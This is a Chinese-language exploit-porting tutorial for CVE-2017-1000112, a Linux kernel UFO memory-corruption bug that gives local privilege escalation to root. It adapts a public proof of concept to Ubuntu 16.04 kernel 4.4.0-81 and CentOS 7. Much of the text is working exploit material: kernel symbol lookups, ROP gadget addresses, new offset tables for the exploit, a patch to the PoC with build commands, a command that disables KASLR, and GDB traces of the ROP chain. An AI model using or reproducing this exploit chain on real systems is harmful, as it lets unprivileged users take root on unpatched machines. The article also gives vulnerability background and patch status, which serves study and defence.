写在前面的话
在这篇文章中,我们将跟大家介绍如何将Andrey针对CVE-2017-1000112的PoC应用到其他内核上。为了给大家演示,本文将使用Ubuntu的Xenial(16.04)内核版本4.4.0-81-generic来进行测试。
PoC代码下载:【点我下载】
漏洞时间轴
2017年08月03日:将漏洞报告给厂商;
2017年08月04日:将漏洞报告给linux-distros@;
2017年08月10日:漏洞补丁提交给netdev;
2017年08月10日:oss-security@发布官方声明;
描述
这个PoC利用的是Linux内核UFO到非UFO路径转换时的内存崩溃问题,在构建一个UFO数据包时,内核会使用MSG_MORE __ip_append_data()函数来调用ip_ufo_append_data()并完成路径的添加。但是在这两个send()调用的过程中,添加的路径可以从UFO路径转换为非UFO路径,而这将导致内存崩溃的发生。为了防止UFO数据包长度超过MTU,非UFO路径的copy = maxfraglen – skb->len将会变成false,并分配新的skb。这将会出发程序计算fraggap = skb_prev->len – maxfraglen的值,并将copy = datalen – transhdrlen – fraggap设置为false。需要注意的是,类似的问题IPv6的代码中同样存在。
漏洞修复
关于漏洞的修复情况,请参考【这篇文章】。
漏洞情况概述
UFO(UDP Fragmentation Offload)是将较大的UDP数据包进行分片。由于UDP 数据包不会自己进行分段,因此当长度超过了 MTU 时,会在网络层进行 IP 分片。 这将减少较大的UDP数据包分片到MTU大小的数据包中的堆栈开销。
Linux 内核存在内存崩溃漏洞,从UFO到非UFO在路径切换过程中,构建UFO数据包时使用了MSG_MORE __ip_append_data()调用ip_ufo_append_data()。在两个send()调用之间,路径从UFO切换到非UFO过程中,会导致内存崩溃。Linux 内核 UFO到非UFO 路径切换内存崩溃漏洞会造成普通用户提权到root用户。
给Ubuntu 16.04(内核Kernel 4.4.0-81-generic)添加偏移量
PoC的框架允许我们给commit_creds、prepare_kernel_cred以及不同内涵的ROP链添加地址偏移量。在对kernel_info的结构进行了分析之后,我们还可以使用目标内核地址来更新这部分数据。
寻找内核函数
接下来,我们需要确定commit_creds、prepare_kernel_cred以及针对CR4读写函数的地址偏移量。
基于Ubuntu 16.04.2创建目标虚拟机
在本文的演示过程中,我将使用VMWare。
镜像下载地址:【点我下载】
在开始测试之前,我们需要更新vmx配置文件来开启内核的调试stub:
debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
安装4.4.0-81-generic内核
sudo apt install linux-image-4.4.0-81-generic
内核安装完成之后,需要重启设备,然后寻找下列内核函数的地址:commit_creds、prepare_kernel_cred、native_read_cr4_safe和native_write_cr4。操作命令如下:
sudo grep commit_creds /proc/kallsyms
sudo grep prepare_kernel_cred /proc/kallsyms
sudo grep native_read_cr4_safe /proc/kallsyms
sudo grep native_write_cr4 /proc/kallsyms
寻找ROPgadget
在这个演示部分中,我将使用不同的虚拟机来调试上面所提到的目标设备。当新的虚拟机创建完成之后,我们可以使用extract-vmlinux【下载地址】来提取出未压缩的Linux内核版本,或者使用调试符来号下载内核。
你可以通过下列命令来使用调试符号获取内核:
echo "deb http://ddebs.ubuntu.com $(lsb_release -cs) main restricted universe multiverse
deb http://ddebs.ubuntu.com $(lsb_release -cs)-updates main restricted universe multiverse
deb http://ddebs.ubuntu.com $(lsb_release -cs)-proposed main restricted universe multiverse" |
sudo tee -a /etc/apt/sources.list.d/ddebs.list
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 428D7C01 C8CAB6595FDFF622
apt install linux-image-4.4.0-81-generic-dbgsym
内核将会被安装在目录/usr/lib/debug/boot/vmlinux-4.4.0-81-generic之中。
在目标内核中安装并运行ROPgadget
我准备使用ropgadget【下载地址】来寻找出目标内核中的Gadget。操作命令如下所示:
apt install python-pip python-capstone
pip install ropgadget
ROPgadget --binary /usr/lib/debug/boot/vmlinux-4.4.0-81-generic > ~/rg-4.4.0-81-generic
既然我们已经获取到了可能的gadget,我们则需要寻找出能够匹配PoC中ROP链的地址:
struct kernel_info {
const char distro;
const char version;
uint64_t commit_creds;
sudo grep commit_creds /proc/kallsyms
0xffffffff810a2800 T commit_creds
uint64_t prepare_kernel_cred;
sudo grep prepare_kernel_cred /proc/kallsyms
0xffffffff810a2bf0 T prepare_kernel_cred
uint64_t xchg_eax_esp_ret;
grep ': xchg eax, esp ; ret' rg-4.4.0-81-generic
0xffffffff8100008a : xchg eax, esp ; ret
uint64_t pop_rdi_ret;
grep ': pop rdi ; ret' rg-4.4.0-81-generic
0xffffffff813eb4ad : pop rdi ; ret
uint64_t mov_dword_ptr_rdi_eax_ret;
grep ': mov dword ptr [rdi], eax ; ret' rg-4.4.0-81-generic
0xffffffff81112697 : mov dword ptr [rdi], eax ; ret
uint64_t mov_rax_cr4_ret;
sudo grep cr4 /proc/kallsyms
0xffffffff8101b9c0 t native_read_cr4_safe
uint64_t neg_rax_ret;
grep ': neg rax ; ret' rg-4.4.0-81-generic
0xffffffff8140341a : neg rax ; ret
uint64_t pop_rcx_ret;
grep ': pop rcx ; ret' rg-4.4.0-81-generic
0xffffffff8101de6c : pop rcx ; ret
uint64_t or_rax_rcx_ret;
grep ': or rax, rcx ; ret' rg-4.4.0-81-generic
0xffffffff8107a453 : or rax, rcx ; ret
uint64_t xchg_eax_edi_ret;
grep ': xchg eax, edi ; ret' rg-4.4.0-81-generic
0xffffffff81125787 : xchg eax, edi ; ret
uint64_t mov_cr4_rdi_ret;
sudo grep cr4 /proc/kallsyms
0xffffffff81064580 t native_write_cr4
uint64_t jmp_rcx;
grep ': jmp rcx' rg-4.4.0-81-generic
0xffffffff81049ed0`
KASLR
内核4.4.0-81并没有启用KASLR,但为了对现有文件进行确认,我们需要使用偏移量。
我们可以使用下列命令找出内核的基地址:
sudo grep text /proc/kallsyms
ffffffff81000000 T _text
比如说,下面的方法可以确认commit_creds的偏移量:
0xffffffff810a2800 - 0xffffffff81000000 = 0xa2800
请注意:如果你使用的内核不支持KASLR,请使用下列命令【参考文章】:
$ grep GRUB_CMDLINE_LINUX_DEFAULT /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet"
$ sudo perl -i -pe 'm/quiet/ and s//quiet nokaslr/' /etc/default/grub
$ grep quiet /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet nokaslr"
$ sudo update-grub
更新原始的PoC文件
我们需要使用新得到的地址来更新PoC,然后添加对Ubuntu 16.04的4.4.0内核(xenial)的支持。
{ “xenial”, “4.4.0-81-generic”, 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
unsigned long get_kernel_addr() {
char* syslog;
int size;
mmap_syslog(&syslog, &size);
if (strcmp("trusty", kernels[kernel].distro) == 0 &&
strncmp("4.4.0", kernels[kernel].version, 5) == 0)
return get_kernel_addr_trusty(syslog, size);
if (strcmp("xenial", kernels[kernel].distro) == 0 &&
(strncmp("4.4.0", kernels[kernel].version, 5) == 0) ||
(strncmp("4.8.0", kernels[kernel].version, 5) == 0))
return get_kernel_addr_xenial(syslog, size);
printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
exit(EXIT_FAILURE);
}
修复补丁
4.4.0-81.patch
`—- poc.c 2017-12-21 11:49:17.758164986 -0600
+++ updated.c 2017-12-20 16:21:06.187852954 -0600
@@ -117,6 +117,7 @@
{ “trusty”, “4.4.0-79-generic”, 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
{ “trusty”, “4.4.0-81-generic”, 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
{ “trusty”, “4.4.0-83-generic”, 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
{ “xenial”, “4.4.0-81-generic”, 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
{ “xenial”, “4.8.0-34-generic”, 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ “xenial”, “4.8.0-36-generic”, 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ “xenial”, “4.8.0-39-generic”, 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
@@ -326,7 +327,8 @@
strncmp("4.4.0", kernels[kernel].version, 5) == 0)
return get_kernel_addr_trusty(syslog, size);
if (strcmp(“xenial”, kernels[kernel].distro) == 0 &&
strncmp(“4.8.0”, kernels[kernel].version, 5) == 0)
(strncmp(“4.4.0”, kernels[kernel].version, 5) == 0) ||
(strncmp(“4.8.0”, kernels[kernel].version, 5) == 0))
return get_kernel_addr_xenial(syslog, size);
printf(“[-] KASLR bypass only tested on trusty 4.4.0- and xenial 4-8-0-“);`
部署修复补丁
wget https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c
patch < 4.4.0.81.patch
gcc poc.c -o updatedpoc
内核调试
在目标设备中,我们已经使用调试符号成功下载了测试内核,接下来为了保证完整性,我们还需要下载内核源码:
wget http://archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-source-4.4.0_4.4.0-81.104_all.deb
dpkg -i linux-source-4.4.0_4.4.0-81.104_all.deb
源代码将会以压缩文件的形式安装在目录/usr/src/linux-source-4.4.0-81中:
/usr/src/linux-source-4.4.0/linux-source-4.4.0.tar.bz2
提取出源文件之后,它将会存储在目录/usr/src/linux-source-4.4.0/linux-source-4.4.0之中:
tar xvjf linux-source-4.4.0.tar.bz2
GDB
sudo apt install gdb
安装pwndbg:【下载地址】
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
开启GDB,配置源地址,然后连接到目标设备:
gdb /usr/lib/debug/boot/vmlinux-4.4.0-81-generic
set substitute-path /build/linux-cs3yMe/linux-4.4.0/ /usr/src/linux-source-4.4.0/linux-source-4.4.0/
target remote 192.168.81.1:8864
断点使用:
break __ip_append_data
break __ip_flush_pending_frames
break skb_release_all
第一个断点设在ip_append_data上,我们可以从中了解到内存崩溃的具体情况:
第二个断点设在ip_append_data:
开启__ip_flush_pending_frames的断点:
开启skb_release_all上的断点:
在break at skb_release_all,我们可以看到内存崩溃的发生情况,这里在用户模式的ROP链调用了skb_shared_info->destructor_arg。在上述代码中,我们也可以看到skb的地址0xffff880039161400(针对skb_release_all的调用):
在skb_release_data中,针对ROP链起始位置的间接引用开始于地址0xffffffff81720a12,ROP链开始于地址0xffffffff81720a1f。
最终我们得到了内存中的ROP链:
Linux发行版
要求
在满足下列情况的条件下,任何非特权用户都可以利用该漏洞来实施攻击:
用户可以设置一个接口,开启UFO并设置MTU < 65535。
用户可以禁用NETIF_F_UFO接口功能,或设置SO_NO_CHECK套接字选项。前者要求CAP_NET_ADMIN,后者只适用于2016年1月11日之后的版本(”udp: 禁用UFO )的SO_NO_CHECK选项”)。
理论上来说,如果非特权用户域名空间可使用的话,任何非特权用户都可以利用该漏洞来实施攻击。
检查udp-framentation-offload的状态
回环:
ethtool -k lo |grep udp
udp-fragmentation-offload: on
ens33:
ethtool -k ens33 |grep udp
udp-fragmentation-offload: off [fixed]
Ubuntu
默认配置下,Ubuntu支持用户域名空间:
https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-1000112.html
数据包
Source: linux (LP Ubuntu Debian)
Upstream: 已发布(4.13~rc5)
Ubuntu 12.04 ESM (Precise Pangolin): 忽略(不支持用户域名空间)
Ubuntu 14.04 LTS (Trusty Tahr): 已发布(3.13.0-128.177)
Ubuntu 16.04 LTS (Xenial Xerus): 已发布(4.4.0-91.114)
Ubuntu 17.04 (Zesty Zapus): 已发布(4.10.0-32.36)
Ubuntu 17.10 (Artful Aardvark): 不受影响 (4.12.0-11.12)
Ubuntu 18.04 LTS (Bionic Beaver): 不受影响 (4.13.0-16.19)
RHEL/CentOS
Centos的内核同样存在漏洞,但是默认配置下该漏洞并不允许攻击者在用户空间下进行非法操作【漏洞详情】。
CentOS 7-https://access.redhat.com/errata/RHSA-2017:2930
kernel-3.10.0-693.5.2.el7.x86_64.rpm
CentOS 6-https://access.redhat.com/errata/RHSA-2017:3200
kernel-2.6.32-696.16.1.el6.x86_64.rpm
我已经在CentOS 7(kernel 3.10.0-693.el7.x86_64)上测试成功了,但是我们需要手动调低回环适配器的MTU:
/sbin/ifconfig lo mtu 1500
偏移量:
{ "cent7", "3.10.0-693.el7.x86_64", 0xb7670, 0xb7980, 0x8a, 0x39337a, 0x650ca, 0x19bf0, 0x32d41a, 0x11e843, 0x7c6b3, 0x4b8f7, 0x63210, 0x6bab33 }
参考资料
https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
http://seclists.org/oss-sec/2017/q3/277
https://nvd.nist.gov/vuln/detail/CVE-2017-1000112